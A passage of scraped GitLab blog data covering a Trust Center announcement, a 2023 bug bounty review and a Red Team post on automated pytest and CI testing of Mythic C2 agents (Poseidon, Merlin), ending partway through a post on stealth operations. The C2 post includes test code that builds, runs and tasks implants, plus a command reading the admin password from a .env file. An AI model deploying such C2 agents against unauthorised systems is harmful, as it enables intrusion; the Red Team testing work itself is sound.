benefits of the new Trust Center.\n\n### Self-service consumption of security and privacy collateral\n\nCustomers can download all of our available security and privacy collateral directly from the GitLab Trust Center.\n\nFor documents that require an NDA, prospects and customers can sign the NDA directly in SafeBase to receive access to documents in minutes rather than days.\n\n### Streamlined questionnaire submissions\n\nFor customers with questions that are not answered by the available collateral or knowledgebase, the GitLab Trust Center offers an interface to upload questions directly.\n\nCustomers can use the \"Submit a Questionnaire\" button in the upper right corner of the Trust Center to submit a questionnaire or a link to their third-party questionnaire portal.\n\n![trust center questionnaire](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099566/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750099566271.png)\n\nThis simple process allows us to centralize our customer assurance activities in a single location and empowers customers to be self-sufficient, which will ultimately accelerate security review processes.\n\n### GitLab updates subscription\n\nCustomers can now subscribe to the GitLab Trust Center for the latest updated collateral documents and communications related to third-party security incidents.\n\nThis proactive approach delivers important and actionable information as quickly as possible and further enables our customers to be self-sufficient through their existing workflows.\n\n![trust center subscribe ](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099566/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750099566272.png)\n\n### Trust through transparency\n\nAt GitLab, we believe transparency is a critical component of building trust. As a [handbook-first company](https://handbook.gitlab.com/security), we publicize a wealth of information, including all of our [controlled documents](https://handbook.gitlab.com/handbook/security/controlled-document-procedure/) (policies, standards, etc.), many of our internal processes, and much more!\n\nTo fully support our transparent culture and to enable our customers to be as self-sufficient as possible, we have made our knowledge base publicly available through the GitLab Trust Center so all customers can self-serve answers to their questions at any time.\n\nThe knowledge base consists of questions and answers related to many different topics that are typically found in vendor review questionnaires. You can search and filter for the information you need to support your third-party risk management (TPRM) reviews and confirm that GitLab is a trusted partner that will enable your organization to unlock its full potential and develop secure code faster.\n\n## Learn more\n\nTo learn more about our 100% self-service customer assurance process and how you can streamline your TPRM review, visit the [GitLab Trust Center](https://trust.gitlab.com) and explore all of the great content and resources available to you.",[479,2426,14],{"slug":2488,"featured":92,"template":677},"gitlab-trust-center-welcome-to-self-service-customer-assurance","content:en-us:blog:gitlab-trust-center-welcome-to-self-service-customer-assurance.yml","Gitlab Trust Center Welcome To Self Service Customer Assurance","en-us/blog/gitlab-trust-center-welcome-to-self-service-customer-assurance.yml","en-us/blog/gitlab-trust-center-welcome-to-self-service-customer-assurance",{"_path":2494,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":2495,"content":2500,"config":2505,"_id":2507,"_type":16,"title":2508,"_source":17,"_file":2509,"_stem":2510,"_extension":20},"/en-us/blog/the-2023-bug-bounty-year-in-review",{"title":2496,"description":2497,"ogTitle":2496,"ogDescription":2497,"noIndex":6,"ogImage":746,"ogUrl":2498,"ogSiteName":767,"ogType":768,"canonicalUrls":2498,"schema":2499},"The 2023 bug bounty year in review","GitLab's bug bounty program had an incredible year. Learn more about the prizes awarded and the bug reporters who won them.","https://about.gitlab.com/blog/the-2023-bug-bounty-year-in-review","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"The 2023 bug bounty year in review\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Ottilia Westerlund\"}],\n        \"datePublished\": \"2024-01-04\",\n      }",{"title":2496,"description":2497,"authors":2501,"heroImage":746,"date":2502,"body":2503,"category":14,"tags":2504},[1345],"2024-01-04","Each year, our [Application Security](https://handbook.gitlab.com/handbook/security/security-engineering/application-security/) team recaps the highlights from the GitLab Bug Bounty Program. Let's go through some statistics from the year that has passed, and celebrate five outstanding researchers from our program.\n\nWe wouldn't be where we are without the collaboration of our bug bounty community, and we consider these awards as hugely beneficial and money well spent. Let's dive into the details!\n\n## 📈 GitLab Bug Bounty Program by the numbers 📈\n\n- Awarded a total of $843,639 USD in bounties across 318 valid reports.\n- Received a total of 1,277 reports from 511 researchers in 2023.\n- Out of the 511 researchers, 449 were new to our program. Hi, new researchers! We see you! 👋\n- Our busiest month was June, when we paid out over $150,000!\n\n_**Note:** Data is accurate as of December 19th, 2023._\n\nYou can see program statistics updated daily on our [HackerOne program page](https://hackerone.com/gitlab).\n\nAs is tradition by now, we want to highlight some of our wonderful reporters. Drum roll, please, for our five reporters of the year... 🥁\n\n## 🏆 2023 reports of the year 🏆\n\n- **Most valid reports to our program**\n   - Congratulations to [mateuszek](https://hackerone.com/mateuszek?type=user) who made 26 valid reports in 2023! A huge effort, which we really appreciate.\n- **Most valid reports from a newcomer to our program**\n   - Welcome and congratulations to [js_noob](https://hackerone.com/js_noob?type=user) who made 19 valid reports in 2023!\n- **Best written reports**\n   - For the second year in a row, [yvvdwf](https://hackerone.com/yvvdwf?type=user) takes the award for consistently writing fantastic reports. The reports are always easy to follow, short and clear steps to reproduce, which the team really appreciates.\n\n- **Most innovative report**\n   - [joaxcar](https://hackerone.com/joaxcar?type=user) dug into some dark, strange places to find [a weird Safari edge case](https://gitlab.com/gitlab-org/gitlab/-/issues/404613). Thank you for your sleuthing! \n\n- **Most impactful finding**\n   - You don't get more impactful than getting a 10 in the world of CVSS – and [pwnie](https://hackerone.com/pwnie?type=user) delivered just that with the discovery of [an arbitrary file read](https://gitlab.com/gitlab-org/gitlab/-/issues/412371). \n\nAs a thank you for their hard work this year, we have organized something special for the researchers mentioned above - they will receive a surprise gift set, with our new GitLab Bug Bounty design (winners, make sure to check your HackerOne emails!). \n\n## ✨ Other happenings in 2023 ✨\nIn 2023, we introduced 90-day challenges, where every 90 days(-ish) we roll out a new challenge. \n\nOur first one was an unauthenticated 0-click remote code execution, and our current one (until 2024-02-20 00:00 UTC) is an account takeover challenge without any user interaction. If you manage this, then we’ll raise the bounty to $50,000, regardless of the CVSS! More details can be found [on our HackerOne program page](https://hackerone.com/gitlab?type=team).\n\nWe also hosted another \"Ask a hacker AMA\"  – this time with @0xn3va. Read the [summary blog post](https://about.gitlab.com/blog/ask-a-hacker/), which includes a link to the recording. \n\nWe look forward to seeing your reports in 2024!",[899,14],{"slug":2506,"featured":6,"template":677},"the-2023-bug-bounty-year-in-review","content:en-us:blog:the-2023-bug-bounty-year-in-review.yml","The 2023 Bug Bounty Year In Review","en-us/blog/the-2023-bug-bounty-year-in-review.yml","en-us/blog/the-2023-bug-bounty-year-in-review",{"_path":2512,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":2513,"content":2519,"config":2524,"_id":2527,"_type":16,"title":2528,"_source":17,"_file":2529,"_stem":2530,"_extension":20},"/en-us/blog/gitlab-security-release-16-6-2-16-5-4-16-4-4",{"title":2514,"description":2515,"ogTitle":2514,"ogDescription":2515,"config":2516,"ogImage":1381,"ogUrl":2517,"ogSiteName":767,"ogType":768,"canonicalUrls":2517,"schema":2518},"GitLab Security Release: 16.6.2, 16.5.4, 16.4.4","Learn more about GitLab Security Release: 16.6.2, 16.5.4, 16.4.4 for GitLab Community Edition (CE) and Enterprise Edition (EE).",{"noIndex":92},"https://about.gitlab.com/blog/gitlab-security-release-16-6-2-16-5-4-16-4-4","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Security Release: 16.6.2, 16.5.4, 16.4.4\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Dominic Couture\"}],\n        \"datePublished\": \"2023-12-13\",\n      }",{"title":2514,"description":2515,"authors":2520,"heroImage":1381,"date":2522,"body":2523,"category":14},[2521],"Dominic Couture","2023-12-13","See attached blog: https://about.gitlab.com/releases/2023/12/13/security-release-gitlab-16-6-2-released/.",{"slug":2525,"featured":6,"template":677,"externalUrl":2526},"gitlab-security-release-16-6-2-16-5-4-16-4-4","https://about.gitlab.com/releases/2023/12/13/security-release-gitlab-16-6-2-released/","content:en-us:blog:gitlab-security-release-16-6-2-16-5-4-16-4-4.yml","Gitlab Security Release 16 6 2 16 5 4 16 4 4","en-us/blog/gitlab-security-release-16-6-2-16-5-4-16-4-4.yml","en-us/blog/gitlab-security-release-16-6-2-16-5-4-16-4-4",{"_path":2532,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":2533,"content":2538,"config":2544,"_id":2546,"_type":16,"title":2547,"_source":17,"_file":2548,"_stem":2549,"_extension":20},"/en-us/blog/how-gitlabs-red-team-automates-c2-testing",{"title":2534,"description":2535,"ogTitle":2534,"ogDescription":2535,"noIndex":6,"ogImage":1483,"ogUrl":2536,"ogSiteName":767,"ogType":768,"canonicalUrls":2536,"schema":2537},"How GitLab's Red Team automates C2 testing ","Learn how to apply professional development practices to Red Teams using open source command and control tools.","https://about.gitlab.com/blog/how-gitlabs-red-team-automates-c2-testing","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How GitLab's Red Team automates C2 testing \",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Josh Feehs\"}],\n        \"datePublished\": \"2023-11-28\",\n      }",{"title":2534,"description":2535,"authors":2539,"heroImage":1483,"date":2541,"body":2542,"category":14,"tags":2543},[2540],"Josh Feehs","2023-11-28","At GitLab, our [Red Team](https://handbook.gitlab.com/handbook/security/threat-management/red-team/) conducts security exercises that emulate real-world threats. By emulating real-world threats, we help assess and improve the effectiveness of the people, processes, and technologies used to keep our organization secure. To operate effectively, we must utilize professional development practices like the threat actors we emulate.\n\n[Threat actors](https://www.securonix.com/blog/threat-labs-security-advisory-new-starkvortex-attack-campaign-threat-actors-use-drone-manual-lures-to-deliver-merlinagent-payloads/) use open source command and control (C2) tools such as [Merlin](https://github.com/Ne0nd0g/merlin). While convenient, these tools have intentionally detectable features to discourage illegitimate use. Red Teams often need to customize and combine different open source options to evade detections in the environments they target.\n\nIn this blog, you'll learn how our team applies professional development practices to using open source C2 tools. We'll share how we implement continuous testing for the Mythic framework, our design philosophy, and a public project you can fork and use yourself.\n\nOur solution, available in [this public project](https://gitlab.com/gitlab-com/gl-security/threatmanagement/redteam/redteam-public/continuousmage), improves our Red Team operations in two ways. First, it contains a suite of **pytest** tests for the Mythic C2 framework. These validate functionality of both the Mythic server and multiple Mythic-compatible agents. Second, it leverages **GitLab CI/CD pipelines** to automatically run these tests after each code change. This enables iterative development and rapid validation of updates to Mythic or Mythic-compatible C2 agents.\n\n## Prerequisites\n\nCurrently, a few prerequisites fall outside the scope of test automation:\n\n- A Linux VM with Mythic, its Python requirements, and the HTTP profile installed. See the [Mythic installation guide](https://docs.mythic-c2.net/installation). We suggest binding Mythic's admin interface to localhost only.\n- A fork of [the ContinuousMage GitLab project](https://gitlab.com/gitlab-com/gl-security/threatmanagement/redteam/redteam-public/continuousmage) in GitLab.com or your own GitLab instance. You'll build on top of this to run your own automation. We highly suggest making this fork private, so you don't expose your test infrastructure or C2 code changes.\n- GitLab Runner installed on the VM (configured with the [shell executor](https://docs.gitlab.com/runner/executors/shell.html)) and registered with your GitLab instance. See the docs on [installing](https://docs.gitlab.com/runner/install/) and [registering](https://docs.gitlab.com/runner/register/) a runner or follow the instructions provided when configuring your pipeline later in this blog. You'll assign this runner to your project when we configure CI/CD.\n- Your forked project cloned onto your VM. This allows testing code changes (or new tests) before triggering the pipeline.\n\n## Project structure\n\nThe project contains three main portions that we will detail in this blog post:\n\n1. `pytest` test code for running integration tests for Mythic and Mythic-compatible C2 agents\n2. The source of those Mythic-compatible C2 agents, as git submodules\n3. The GitLab CI/CD pipeline configuration that ties it all together\n\n## Part 1: pytests\n\n[pytest](https://docs.pytest.org/en/7.4.x/) is a framework for writing tests in Python. We can leverage pytest to do integration testing of Mythic since it has its own [Python package](https://pypi.org/project/mythic/). The test suite goals are:\n\n1. Be simple and atomic.\n2. Provide adequate coverage to validate tool readiness.\n\nWe'll walk through a simple test verifying an agent can run the `ls` command, highlighting key code sections for customization.\n\n### Implementation\n\n#### pytest file\n\nWhen run on a directory, `pytest` automatically discovers tests in files prefixed with `test_` and test functions starting with `test_`. Our tests are asynchronous, needing the `pytest.mark.asyncio` decorator, because the Mythic APIs we are testing are asynchronous. If your machine is missing test dependencies, run `python3 -m pip install mythic pytest pytest-asyncio`.\n\nA test function skeleton is as follows:\n\n```python\n@pytest.mark.asyncio\nasync def test_agent_ls():\n    # Will do the test here\n    continue\n```\n\n#### The GlMythic class\n\nThe `GlMythic` class wraps Mythic APIs for ease of use in testing. Because its `init` function is async, a coroutine creates the object:\n\n```python\n@pytest.mark.asyncio\nasync def test_agent_ls():\n    glmythic = await gl_mythic.create_glmythic()\n```\n\nBy default, it connects to the Mythic DB using the `MYTHIC_ADMIN_PASSWORD` environment variable and is configured to test the agent specified via the `AGENT_TYPE` environment variable. We will set these in the CI/CD config later.\n\n#### Interacting with Mythic via GlMythic\n\nWe'll include the remainder of the test code here, with comments, and then discuss the most important parts.\n\nAs a reminder, one of the key goals of this project was to make completely atomic tests. Each test only relies on a running Mythic server with the specific agent and HTTP containers loaded. As the test suite grows, it may be worth running a secondary set of tasks that relies on an already-existing agent connection. Currently, every test creates, downloads, and executes a new agent.\n\n### Test and deploy\n\n```python\n@pytest.mark.asyncio\nasync def test_agent_ls():\n\n    glmythic = await gl_mythic.create_glmythic()\n\n    # Unique payload_path per test\n    payload_path = \"/tmp/test_agent_ls\"\n\n    # Wraps agent create, download, and execute\n    proc = await glmythic.generate_and_run(payload_path=payload_path)\n\n    # Wait for callback\n    time.sleep(10)\n\n    # Uses the display_id field to determine most recent callback\n    # Assumes that the most recent callback is the one created by this test\n    callback = await glmythic.get_latest_callback()\n\n    # Issue the ls command, blocking on output\n    output = await mythic.issue_task_and_waitfor_task_output(\n        mythic=glmythic.mythic_instance,\n        command_name=\"ls\",\n        parameters=\"\",\n        callback_display_id=callback[\"display_id\"],\n        timeout=20,\n    )\n\n    # Clean up (no longer need the agent)\n    proc.terminate() \n    os.remove(payload_path)\n\n    # If the ls failed, there will be no output\n    # This test could also look for files in the repo (where the agent runs)\n    assert len(output) > 0\n\n```\n\nThe longest running portion of this test will be the call to `generate_and_run`, as agent builds within Mythic can take from seconds to minutes or even hang altogether. For your initial set of tests, sign in to the Mythic server and watch the **Payloads** screen for potential issues. In our testing, agent builds failed to complete around 5% of the time, depending on the agent. If you experience repeated build failures, reload your agent container with `sudo ./mythic-cli install folder \u003Cagent_directory> -f`.\n\nTo run the tests, run `pytest \u003Ctestfile_directory>`.\n\n## Part 2: Agent source as submodules\n\nBecause Mythic agents are often updated, we include the agent repos as git submodules in our test project. This allows us to update to new agent versions when they are released and use our project's version control to keep tool versions static for known good builds. These submodules are all located in the `agents` folder.\n\nWe'll discuss adding more agents to this project later in this blog.\n\n## Part 3: GitLab CI/CD pipeline\n\nNow that you have working pytests, you can automate your tests to run whenever you want. In our case, we chose to run our tests on merge requests and tagged commits (which are likely to be tool releases). We will be using [GitLab CI/CD pipelines](https://docs.gitlab.com/ee/ci/pipelines/) to perform our automated tests.\n\n### Configuring the pipeline\n\nNow is the time to set your GitLab CI/CD settings. To find these settings, go to your repository -> `Settings` -> `CI/CD`.\n\nThe first setting you'll want to set is your `Runner`. If you set up a runner as one of your prerequisite steps earlier, you can assign it here. If not, click `New project runner` and work through that process to create and set up your runner on your Mythic server. When you are prompted to choose a runner type on install, choose the [shell executor](https://docs.gitlab.com/runner/executors/shell.html). If your team uses shared runners for other CI/CD pipelines, you will want to make sure that shared runners are disabled for this project, given that your shared runners are unlikely to be able to talk to Mythic directly.\n\n![runner-settings](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683075/Blog/Content%20Images/runner-settings.png)\n\nNext, you need to set your `Variables`. The `GlMythic` class uses the `MYTHIC_ADMIN_PASSWORD` environment variable to be able to actually sign into Mythic, so you need to make sure that the pipeline runner's environment is set up correctly.\n\nTo do this, click the `Add variable` button and add the `MYTHIC_ADMIN_PASSWORD` variable with the appropriate value. If you don't know your Mythic admin password, on the Mythic server in the directory where you installed Mythic, `cat .env | grep MYTHIC_ADMIN_PASSWORD` will give you the password.\n\nBecause GitLab handles merge requests in a detached state, you need to unclick the `Protect Variable` box, because that would prevent the pipeline from viewing the variable on a merge request otherwise. Because the variable is not protected, any branch committed back to your server can access your CI variables. This may pose a security risk if you allow remote access to your Mythic server (versus binding to localhost) and if you allow arbitrary users to access your repository. For this reason, our public repo does not have the environment variables. We use a private copy to perform testing, and suggest you do the same.\n\nAdditionally, set the `AGENT_TYPE` variable to the name of the agent you want to use. At time of release, valid agent types are `poseidon` or `merlin`. The section about adding more agents to the test suite will go into more detail.\n\nYou can also document commands to lint the code or run tests. These steps help to ensure high code quality and reduce the likelihood that the changes inadvertently break something. Having instructions for running tests is especially helpful if it requires external setup, such as starting a Selenium server for testing in a browser.\n\nNow that the pipeline is configured to use the runner and pick up the environment variables that you need, the only thing left to do is to set up your pipeline. This step is quite simple: If you add the `.gitlab-ci.yml` file to the root of your repository, GitLab will pick that up as the pipeline config on your next commit. Here is our example pipeline, which we will explain momentarily.\n\n```yaml\ninstall:\n  stage: install\n  script:\n    - sudo /opt/Mythic/mythic-cli install folder \"${CI_PROJECT_DIR}\"/agents/\"${AGENT_TYPE}\" -f\n  rules:\n    - if: $CI_PIPELINE_SOURCE == 'merge_request_event'\n    - if: $CI_COMMIT_TAG\n\ntest:\n  stage: test\n  script:\n    - pytest \"${CI_PROJECT_DIR}\"/mythic-test\n  rules:\n    - if: $CI_PIPELINE_SOURCE == 'merge_request_event'\n    - if: $CI_COMMIT_TAG\n```\n\nAll of the variables set above are made available by GitLab as part of every pipeline. This pipeline has two stages, `install` and `test`. Both stages are set to only run on merge requests or if the commit being evaluated has a specific tag. The `install` stage will install your C2 agent into Mythic using its local folder install. This makes sure that the Mythic server has your latest C2 code changes installed. Next, the `test` stage runs the set of pytest tests that we created. The `install` stage will run very quickly, and the `test` stage will run a little more slowly, given that it's doing the work of creating and interacting with Mythic agents.\n\n### Pipeline in action\n\nYou can do a couple of things to validate that your pipeline is working. First, if you are performing a merge request, there will be a section at the beginning of the merge request that will link to the pipeline. The screenshot below shows that the pipeline has passed, but you can click into the pipeline by clicking on its number even when it's running.\n\n![Pipeline passing](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683075/Blog/Content%20Images/merge-pipeline-pass.png)\n\nYou can then click into the stage that's running (or one that has already run) to view its output.\n\n![Pipeline task output](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683075/Blog/Content%20Images/pipeline-task-output.png)\n\nAnd there you are! You now have working `pytest` tests for a Mythic agent that run every time you make a merge request.\n\n## Adapting for other agents\n\nWe tested our test suite against Poseidon and Merlin. Although the initial tests (generate, download and exec, ls) work the same for both agents, Poseidon and Merlin require different parameters for their `upload` commands. Unfortunately, this means that not all tests will be agent agnostic.\n\nAs a result, each `GlMythic` object that is created is told what type of agent it is testing. The coroutine for creating an object allows you to pass in the agent type as a variable, and defaults to using the `AGENT_TYPE` environment variable to determine which agent is being tested.\n\n```python\nasync def create_glmythic(  username=\"mythic_admin\",\n                            password=os.getenv(\"MYTHIC_ADMIN_PASSWORD\"),\n                            server_ip=\"127.0.0.1\",\n                            server_port=7443,\n                            agent_type=os.getenv(\"AGENT_TYPE\")):\n```\n\n### Agent source\n\nTo add more agents for testing, the first thing to do is to import your agent as a git submodule:\n\n```bash\ncd agents\ngit submodule add \"${URL_TO_YOUR_AGENT}\"\n```\n\nCommit your changes, and your agent is tracked as part of the repo.\n\n### Test compatibility\n\nYou'll need to validate that existing tests work with your agent. For tests to work, the parameters passed to the commands must match those in the test suite, with `upload` to be most likely to fail.\n\nThis is okay! Within the `test_agent_upload` test function, you'll see example code that specifies a different upload command for Merlin and Poseidon. Simply follow this structure for your own agent, passing your agent's parameters to the `mythic.issue_task_and_waitfor_task_output` function call.\n\nIf you are using another open source C2 and are unsure of the correct parameters to pass, you can use the Mythic UI. Interact with one of your agents and run the `upload` command to see what params you need to pass. If you do this for Poseidon, it will look like the following:\n\n![upload-parameters](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683075/Blog/Content%20Images/upload-parameters.png)\n\nOur test suite should be pretty easy to add to any Linux-based Mythic agent that supports the [HTTP C2 profile](https://github.com/MythicC2Profiles/http). Because the GitLab Runner installs the agent into Mythic (and Mythic is made to run on Linux), the runner is expecting to be on a Linux machine. Additional effort and test modifications will be required to run the test suite against a Windows or MacOS agent.\n\n## A quick win\n\nAs we worked on this project, we were continuously running our test suite against both Poseidon and Merlin. Unexpectedly, in early October 2023, our test for Poseidon's `upload` function started to fail. After a quick investigation, we identified that a bug had been introduced, present in Poseidon 2.0.2, that caused file uploads to fail.\n\nWe took our information to one of the Poseidon developers, Cody Thomas ([@its_a_feature_](https://twitter.com/its_a_feature_)), and he quickly identified the underlying issue and [fixed the problem](https://github.com/MythicAgents/poseidon/commit/83de4712448d7ed948b3e2d2b2f378d530b3a42a).\n\nThis highlights the usefulness of continuous testing. Instead of running into a potential bug during a Red Team exercise, we identified the issue beforehand and were able to report the bug so the issue was fixed.\n\nWe sincerely thank the Mythic, Merlin, and Poseidon developers for open sourcing their hard work. Many Red Teams around the world are able to perform high-quality security assessments in part because of the hard work of C2 developers who open source their tools. We also want to specifically thank Cody Thomas for addressing this bug within 20 minutes of notification. His responsiveness and attention to detail are unmatched.\n\n## Share your feedback\n\nThis post has demonstrated both the value of continuous testing and shown how to implement continuous testing for your own use, using GitLab. If you have worked alongside these examples, you've implemented some continuous testing for the Mythic framework and have tests that you can use for Merlin, Poseidon, or your own Mythic agent(s).\n\nAt GitLab, we always seek feedback on our work. If you have any questions or comments, please open an issue on [our project](https://gitlab.com/gitlab-com/gl-security/threatmanagement/redteam/redteam-public/continuousmage). You can also propose improvements via a merge request. We believe that everyone should be able to contribute, so we welcome any contributions, big or small.\n\n> [Try GitLab Ultimate for free today.](https://gitlab.com/-/trials/new)\n\n## Related reading\n- [Stealth operations: The evolution of GitLab's Red Team](https://about.gitlab.com/blog/stealth-operations-the-evolution-of-gitlabs-red-team/)\n- [How we run Red Team operations remotely](https://about.gitlab.com/blog/how-we-run-red-team-operations-remotely)\n- [Use GitLab and MITRE ATT&CK Navigator to visualize adversary techniques](https://about.gitlab.com/blog/gitlab-mitre-attack-navigator)\n- [Monitor web attack surface with GitLab](https://about.gitlab.com/blog/monitor-web-attack-surface-with-gitlab)\n",[14,2093,231,696],{"slug":2545,"featured":92,"template":677},"how-gitlabs-red-team-automates-c2-testing","content:en-us:blog:how-gitlabs-red-team-automates-c2-testing.yml","How Gitlabs Red Team Automates C2 Testing","en-us/blog/how-gitlabs-red-team-automates-c2-testing.yml","en-us/blog/how-gitlabs-red-team-automates-c2-testing",{"_path":2551,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":2552,"content":2557,"config":2562,"_id":2564,"_type":16,"title":2565,"_source":17,"_file":2566,"_stem":2567,"_extension":20},"/en-us/blog/stealth-operations-the-evolution-of-gitlabs-red-team",{"title":2553,"description":2554,"ogTitle":2553,"ogDescription":2554,"noIndex":6,"ogImage":746,"ogUrl":2555,"ogSiteName":767,"ogType":768,"canonicalUrls":2555,"schema":2556},"Stealth operations: The evolution of GitLab's Red Team","We discuss how GitLab's Red Team has matured over the years, evolving from opportunistic hacking to stealth adversary emulation.","https://about.gitlab.com/blog/stealth-operations-the-evolution-of-gitlabs-red-team","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Stealth operations: The evolution of GitLab's Red Team\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Chris Moberly\"}],\n        \"datePublished\": \"2023-11-20\",\n      }",{"title":2553,"description":2554,"authors":2558,"heroImage":746,"date":2559,"body":2560,"category":14,"tags":2561},[994],"2023-11-20","At GitLab, our Red Team conducts security exercises that emulate real-world threats. When the team was first formed, these exercises were opportunistic and done in plain sight. As the GitLab Security organization matured, so did our Red Team.\n\nWe now perform a majority of our operations in stealth, meaning that only a small group of team members are aware of the details.\n\nThis blog dives into the steps we took as we matured and lessons we learned along the way. We also share highlights of a recent stealth operation and the value it provided our organization.\n\nIf you're building an offensive security practice, or looking to mature an existing one, you may find some inspiration below.\n\n## Where we started\n\nOur Red Team was formed in July 2019 - about four years ago. We started off as three engineers and one manager spread across the U.S., Australia, and Europe.\n\nBack then, GitLab's security maturity was at an earlier stage. Some of the more advanced capabilities we have in place today were still being planned or improved.\n\nAs newly hired hackers, it was tempting to jump right into emulating advanced threat actors in top-secret operations. But we weren't just hackers - we were a Red Team with a mission to help make our organization more secure. It wasn't just about attacking all the things, it was about identifying and addressing realistic threats.\n\n### Getting to know GitLab\n\nBefore we started hacking, we did the following:\n- Wrote down [what we were doing](https://handbook.gitlab.com/handbook/security/threat-management/red-team/#what-the-red-team-does), [why were doing it](https://handbook.gitlab.com/handbook/security/threat-management/red-team/), and [what rules we would stick to](https://handbook.gitlab.com/handbook/security/threat-management/red-team/red-team-roe/). This was critical to our success, especially as a team that worked asynchronously across time zones.\n- Met with our counterparts in Security Incident Response (SIRT) to understand how they could benefit from an offensive security practice.\n- Met with our counterparts in Engineering and IT to build relationships and help them understand our overall goals and approach.\n- Read. A lot. Documentation, runbooks, architecture diagrams. Whatever we could find to understand GitLab's environment and attack surface.\n\n### Getting to work\n\nFinally, it was time to hack.\n\nWe started out doing what we called \"open-scope\" work, which was similar to a penetration test but without the bureaucracy and boundaries of a typical time-based engagement. We wrote enumeration scripts, scanned publicly exposed cloud resources, and hunted for leaked secrets.\n\nWhen we found something that could be hacked, we hacked it and reported it in an [issue](https://docs.gitlab.com/ee/user/project/issues/) to prevent it from happening again.\n\nAs we noticed patterns emerging, we developed automation to more efficiently find and report them.\n\nThis was great - it reduced risk at GitLab and gave our team a chance to better understand our environment and its risks.\n\nBut it wasn't quite Red Teaming.\n\nWe were finding, exploiting, and reporting vulnerabilities, but we weren't providing GitLab with an opportunity to practice detecting and responding to real-life attackers.\n\n## How we planned to mature\n\nOver time, we found systemic solutions to more and more of the opportunistic findings. A new Vulnerability Management group was formed, taking ownership of our custom scanners and implementing more robust and permanent solutions. Visibility and control over endpoints increased as did the ability to monitor and alert across our entire organization.\n\nAs GitLab's defensive capabilities matured, it became important for the Red Team to do the same. We needed to emulate more advanced attackers and provide more realistic opportunities to detect and respond to these attacks.\n\nWe needed a plan.\n\nWe created a maturity model with unique stages showing where we started, where we were, and where we were headed. Each stage had a list of behaviors the team strived to demonstrate, or states we hoped to achieve.\n\nThis gave us a broad roadmap that we could work towards for the next two-to-three years. Looking back, it was worth the effort. We use the roadmap extensively, leveraging it to guide tricky decisions and to plan quarterly goals that moved us further on our journey.\n\nThe inspiration for our model came from many places, including:\n- The general-purpose [Capabilities Maturity Model](https://en.wikipedia.org/wiki/Capability_Maturity_Model)\n- The [Red Team maturity model](https://www.redteams.fyi) from Jordan Potti, Noah Potti, and Trevin Edgeworth\n- The [Red Team maturity model](https://www.redteammaturity.com/about) from Brent Harrell and Garet Stroup\n\nWe used a GitLab issue board to build the model.\nYou can [read about the logistics and benefits of using an issue board](https://handbook.gitlab.com/handbook/security/maturity-models/) in our handbook.\n\nThis is what our model looks like:\n![maturity-model](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679157/Blog/Content%20Images/maturity-model.png)\n\n## Key milestones along the way\n\nWhen we first wrote our maturity model, we were sitting somewhere in the second column. Moving beyond that would require a big shift - from opportunistically finding and exploiting vulnerabilities to emulating adversaries and providing opportunities for detection and response.\n\nFor us, that path started with Purple Teaming and then moved on to stealth operations.\n\nWe used GitLab epics to make high-level plans for each of these stages. Epics allow you to group individual issues, breaking down long-term projects into actionable tasks.\n\n### Implementing Purple Teaming\n\nPurple Teaming was a pathway to stealth operations. It would give us an opportunity to build and practice our processes transparently and in collaboration with our Blue Team.\n\nWe made a plan to develop these processes and to test them out by conducting a small-scale Purple Team operation. This was done in the context of an OKR (Objectives and Key Results), and took us about three months to complete.\n\nHere is the description from the epic we opened to get started:\n\n> **OKR: Purple Team Foundations & Initial Run**\n>\n> Our SIRT team continues to grow and implement more robust detection and response capabilities. Recently, they have begun to adopt the MITRE ATT&CK framework for classifying attack techniques.\n>\n> These strategies are highly aligned with our own, and build an excellent framework for a more collaborative approach in planning, designing, and executing attack emulations. When both teams are involved in all stages of a campaign, we are more likely to produce an outcome that is actionable and beneficial to the organization.\n>\n> This OKR will allow us to focus on ensuring all of the foundational/logistical pieces are there, and then to execute a smaller controlled operation to make sure we got it right.\n\nAt a high-level, the OKR contained the following tasks:\n- Meet with various teams at GitLab to discuss what we were trying to accomplish, how we would work together across timezones, what rules we should put in place, etc.\n- Plan for specific changes/additions to our handbook to capture the results of those discussions.\n- Collaborate across teams to plan and execute a small operation using these new processes.\n\nWhen the quarter was complete, we had the following to show for it:\n- [Purple Teaming at GitLab](https://handbook.gitlab.com/handbook/security/threat-management/red-team/purple-teaming/): A handbook page describing our methodology\n- [Red Team issue templates](https://gitlab.com/gitlab-com/gl-security/threatmanagement/redteam/redteam-public/red-team-issue-templates): Public, re-usable templates for planning, executing, and reporting on operations\n- \"[How we run Red Team operations remotely](https://about.gitlab.com/blog/how-we-run-red-team-operations-remotely/)\": A blog talking about the how and why we do this work asynchronously across time zones\n\nWe then used those processes and issue templates to plan and execute a small Purple Team operation. The brainstorming stage allowed us to work with our friends in SIRT, identifying recurring security themes and selecting attack techniques that would allow them to improve their detection and response capabilities.\n\nWe replicated a token leak where an attacker leveraged legitimate credentials to establish persistence and move laterally within the GitLab.com environment. This provided an opportunity to test existing security information and event management (SIEM) alerts, validate the ability to locate all malicious activity in log files, and to implement earlier detection and prevention capabilities.\n\nWe made changes to our Purple Teaming processes based on lessons learned. In following quarters, we moved on to full-scale emulation of relevant adversaries using a Purple Team process that was developed and tested in collaboration with groups across our organization.\n\n### Implementing stealth operations\n\nShifting to stealth was a natural evolution from Purple Teaming. We continued to work from our maturity model, operating from the plan that was already established and communicated across the 